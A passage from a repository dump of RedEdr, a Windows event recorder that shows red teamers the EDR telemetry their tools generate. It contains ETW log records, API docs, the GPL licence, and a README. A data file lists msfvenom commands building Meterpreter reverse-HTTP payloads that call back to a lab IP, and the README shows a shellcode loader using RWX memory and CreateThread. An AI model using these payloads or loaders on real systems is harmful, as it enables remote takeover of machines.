","id":150,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816259,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC850F0000","ImageBase":"00007FFC850F0000","ImageCheckSum":"2047181","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ntdll.dll","ImageSize":"00000000001F8000","ProcessID":"1208","TimeDateStamp":"1754238027","event":"ImageUnloadInfo ","id":151,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816312,"trace_id":41,"type":"etw"},{"CPUCycleCount":"184728780","CommitCharge":"24412160","CommitPeak":"24461312","CreateTime":"133791868973820309","ExitCode":"3221225477","ExitTime":"133791868989814630","HandleCount":"100","HardFaultCount":"0","ImageName":"RedEdrTester.e","ProcessID":"1208","ProcessSequenceNumber":"2314","ReadOperationCount":"9","ReadTransferKiloBytes":"22","TokenElevationType":"3","WriteOperationCount":"45","WriteTransferKiloBytes":"20","event":"ProcessStopStop ","id":152,"opcode_id":2,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801521634,18446735283801520587,18446735283801519924,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816369,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CB30","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"4","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C950","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":153,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868979063418,"trace_id":41,"type":"etw"}] ================================================ FILE: Data/generator.txt ================================================ # non-staged msfvenom -a x64 -p windows/x64/meterpreter_reverse_http AUTOLOADSTDAPI=FALSE LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-nonstaged-noautoload.bin msfvenom -a x64 -p windows/x64/meterpreter_reverse_http LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-nonstaged-autoload.bin # staged msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-staged.bin msfvenom -a x64 -p windows/x64/meterpreter/reverse_http AUTOLOADSTDAPI=FALSE LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-staged-noautoload.bin ================================================ FILE: Doc/api.md ================================================ # RedEdr HTTP API Documentation This document is AI generated but reviewed. RedEdr provides a REST API through an embedded HTTP server for interacting with the EDR system. The web server listens on a configurable port and provides both a web UI and programmatic API access. ## Data definition **Events** can be viewed as a dict (key value pair). It is mostly flat, but can contain arrays or further dicts: ``` ``` ## HTTP UI Provides a easy to use web interface for RedEdr on localhost. ### GET / Serves the main web UI. - **Response**: HTML content of the main interface ### GET /static/design.css Serves the CSS stylesheet. - **Response**: CSS content for styling ### GET /static/shared.js Serves the JavaScript file. - **Response**: JavaScript content for the web interface ### GET /api/stats Returns system statistics and counters. - **Response**: JSON object with event counts and statistics - **Content-Type**: `application/json; charset=UTF-8` - **Response Fields**: - `events_count` - Total number of events - `num_kernel` - Number of kernel events - `num_etw` - Number of ETW events - `num_etwti` - Number of ETW TI events - `num_dll` - Number of DLL events - `num_process_cache` - Number of cached processes ### GET /api/save Saves current events to a file. - **Response**: Triggers save operation - **Side Effect**: Events are saved to disk ## Enable Tracing and Payload Execution Used to define what RedEdr will look at, and provides an option to also execute the malware. Primarily used by Detonator. ### GET /api/trace/info Gets the current trace target executable names. - **Response**: JSON object with current trace targets - **Content-Type**: `application/json` - **Response Format**: `{"trace": ["target1", "target2"]}` ### POST /api/trace/start Sets the process name(s) to be observed. Request: `application/json` - `{"trace": ["executable1", "executable2"]}` - Multiple targets Response: `application/json` - **Response**: `{"result": "ok"}` on success - **Error Responses**: - `400` - Invalid JSON or missing arguments ### POST /api/trace/reset Resets all captured events and system state. - **Response**: Clears all current data - **Side Effect**: All events and state are reset ## Retrieve Log Results Actually retrieve the recorded logs of all involved components. ### GET /api/logs/rededr Retrieves all captured events from the current session. Events are things recorded by RedEdr, including ETW events, or DLL hooking events. Response: `application/json` - Array of event objects Response Example: ```json [ { "date":"2025-07-20-10-36-24", "do_etw":false, "do_etwti":false, "do_hook":false, "do_hook_callstack": true, "func":"init", "target":"otepad", "trace_id":41, "type":"meta", "version":"0.4" } ] ``` ### GET /api/logs/agent Get the logging output of the agent itself (RedEdr and also RedEdrPplService). Response: `application/json` - Array of log strings Response example: ```json [ "RedEdr 0.4", "Config: tracing otepad", "Permissions: Enabled PRIVILEGED & DEBUG" ] ``` ## Lock Management If RedEdr is used by multiple users, they can lock RedEdr for their duration of use. If this is not being done, weird results will happen. ### POST /api/lock/acquire Acquires a resource lock to prevent concurrent access. - **Response**: `200 OK` if lock acquired successfully - **Error Responses**: - `409 Conflict` - Resource is already in use - `{"status": "error", "message": "Resource is already in use"}` ### POST /api/lock/release Releases the resource lock. - **Response**: `200 OK` - Lock released ### GET /api/lock/status Gets the current lock status. - **Response**: JSON object with lock state - **Response Format**: `{"in_use": true/false}` ================================================ FILE: Doc/notes.md ================================================ # Notes ## Solutions RedEdr: * ETW reader * MPLOG reader * pipe-server for RedEdrDll (`pipe\\RedEdrDllCom`) * pipe-server for RedEdrDriver (`pipe\\RedEdrKrnCom`) * pipe-client for RedEdrPplService (`pipe\\RedEdrPplService`) RedEdrDriver: * Kernel driver to capture kernel callbacks * Will do KAPC injection * connects to RedEdr `pipe\\RedEdrKrnCom` to transmit captured data * Receives IOCTL from RedEdr to be instructed RedEdrPplService: * to be loaded as PPL windows service * To capture ETW-TI * connects to RedEdr `pipe\\RedEdrDllCom` to transmit captured data * provides `pipe\\RedEdrPplService` for RedEdr to connect to be instructed RedEdrDll: * amsi.dll style, to be injected into target processes * connects to RedEdr `pipe\\RedEdrDllCom` to transmit captured data * will receive config from RedEdr first RedEdrTester: * internal testing tool ## Notifications Notify components about new config: * RedEdr: Automatic * RedEdrDriver: send IOCTL * RedEdrPplService: pipe * RedEdrDll: pipe (automatic on new process creation)) ================================================ FILE: LICENSE.txt ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # RedEdr Display events from Windows to see the detection surface of your malware. Same data as an ETW-based EDR sees (Defender, Elastic, Fibratus...). * Identify the telemetry your malware generates (detection surface) * Verify your anti-EDR techniques work * Debug and analyze your malware It generates [JSON files](https://github.com/dobin/RedEdr/tree/master/Data) collecting [the telemetry](https://github.com/dobin/RedEdr/blob/master/Doc/captured_events.md) of your RedTeaming tools. It is now part of Detonator, see [detonator.r00ted.ch](https://detonator.r00ted.ch). ## Screenshots Shellcode execution: ```c PVOID shellcodeAddr = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(shellcodeAddr, payload, payloadSize); VirtualProtect(shellcodeAddr, payloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)); HANDLE hThread = CreateThread(NULL, 0, shellcodeAddr, shellcodeAddr, 0, &threadId); ``` With ntdll.dll hooking: ![RedEdr Screenshot ntdll.dll hooking](https://raw.github.com/dobin/RedEdr/master/Doc/screenshot-web-rwx-dll.png) ETW events: ![RedEdr Screenshot ETW](https://raw.github.com/dobin/RedEdr/master/Doc/screenshot-web-rwx-etw.png) ## Implemented Telemetry Consumers * ETW * Microsoft-Windows-Kernel-Process * Microsoft-Windows-Kernel-Audit-API-Calls * Microsoft-Windows-Security-Auditing * Defender * Microsoft-Antimalware-Engine * Microsoft-Antimalware-RTP * Microsoft-Antimalware-AMFilter * Microsoft-Antimalware-Scan-Interface * Microsoft-Antimalware-Protection * ETW-TI (Threat Intelligence) with a PPL service via ELAM driver * Kernel Callbacks * PsSetCreateProcessNotifyRoutine * PsSetCreateThreadNotifyRoutine * PsSetLoadImageNotifyRoutine * (ObRegisterCallbacks, not used atm) * ntdll.dll hooking * Callstacks * On ntdll.dll hook invocation * On several ETW events * process query * PEB * Loaded DLL's (and their regions) ## Installation Use a dedicated VM for RedEdr. Extract release.zip into `C:\RedEdr`. **No other directories are supported.** Whitelist `C:\RedEdr\RedEdr.exe` in your AV (Defender). Start terminal as local admin. Change into `C:\RedEdr` and run `.\RedEdr.exe`: ``` PS C:\rededr> .\RedEdr.exe Maldev event recorder Usage: RedEdr [OPTION...] -t, --trace arg Process name to trace -e, --etw Input: Consume ETW Events -g, --etwti Input: Consume ETW-TI Events -m, --mplog Input: Consume Defender mplog file -k, --kernel Input: Consume kernel callback events -i, --inject Input: Consume DLL injection -w, --web Output: Web server ... ``` Try: `.\RedEdr.exe --etw --trace otepad`, and then start notepad (will be `notepad.exe` on Windows 10, `Notepad.exe` on Windows 11). The log should be printed as stdout. ## Simple ETW Usage RedEdr will trace all processes containing by process image name (exe path). Capture ETW events and provide a web interface on 